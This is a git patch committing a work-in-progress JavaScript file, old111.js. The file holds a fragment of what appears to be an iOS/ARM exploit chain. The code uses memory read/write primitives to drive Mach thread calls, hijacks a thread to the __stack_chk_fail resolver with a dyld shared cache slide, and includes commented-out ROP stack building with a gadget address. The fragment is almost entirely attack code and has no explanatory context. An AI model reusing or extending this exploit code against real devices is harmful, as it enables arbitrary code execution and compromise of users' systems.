From 6181acb12524b30ddfb7eb75840d1de4ca2ca4b0 Mon Sep 17 00:00:00 2001 From: spv Date: Sun, 8 May 2022 16:20:09 -0400 Subject: wip --- old111.js | 43 +++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 43 insertions(+) create mode 100644 old111.js (limited to 'old111.js') diff --git a/old111.js b/old111.js new file mode 100644 index 0000000..7b77a72 --- /dev/null +++ b/old111.js @@ -0,0 +1,43 @@ +// write_u32(thread_state + (14 << 2), __stack_chk_fail_resolver + dyld_shc_slide); +// printf("\t\t%x %x\n", pthread_ret, read_u32(pthread_ret)); + + + /* + * spin wait for return + */ + while (true) { + /* + * reset, it's used as input for thread_state size + */ + write_u32(count, 17); + calls4arg("thread_get_state", rth, ARM_THREAD_STATE, thread_state, count); + + /* + * if the pc is in (resolver, resolver + 8), suspend the thread + * (to not spin endlessly), read r0 and return + */ + if (((read_u32(thread_state + (15 << 2)) - (__stack_chk_fail_resolver + dyld_shc_slide)) <= 8) && (read_u32(thread_state + (11 << 2)) == 0x1337)) { + calls4arg("thread_suspend", rth, 0, 0, 0); + return read_u32(thread_state); + } + +// calls4arg("usleep", 1000, 0, 0, 0); + } + + /* + write_u32(stack_shit + i_, 0x0); i_ += 4; + write_u32(stack_shit + i_, 0x0); i_ += 4; + write_u32(stack_shit + i_, 0x0); i_ += 4; + write_u32(stack_shit + i_, 0x130000); i_ += 4; + write_u32(stack_shit + i_, 0x0); i_ += 4; + write_u32(stack_shit + i_, 0x0); i_ += 4; + write_u32(stack_shit + i_, 0x0); i_ += 4; + write_u32(stack_shit + i_, str_r0_r4 + slid); i_ += 4;*/ + +// write_u32(stack_shit + i_, 0x0); i_ += 4; +// write_u32(stack_shit + i_, 0x0); i_ += 4; +// write_u32(stack_shit + i_, 0x0); i_ += 4; +// write_u32(stack_shit + i_, 0x0); i_ += 4; +// write_u32(stack_shit + i_, 0x0); i_ += 4; +// write_u32(stack_shit + i_, 0x0); i_ += 4; +// write_u32(stack_shit + i_, 0x0); i_ += 4; \ No newline at end of file -- cgit v1.2.3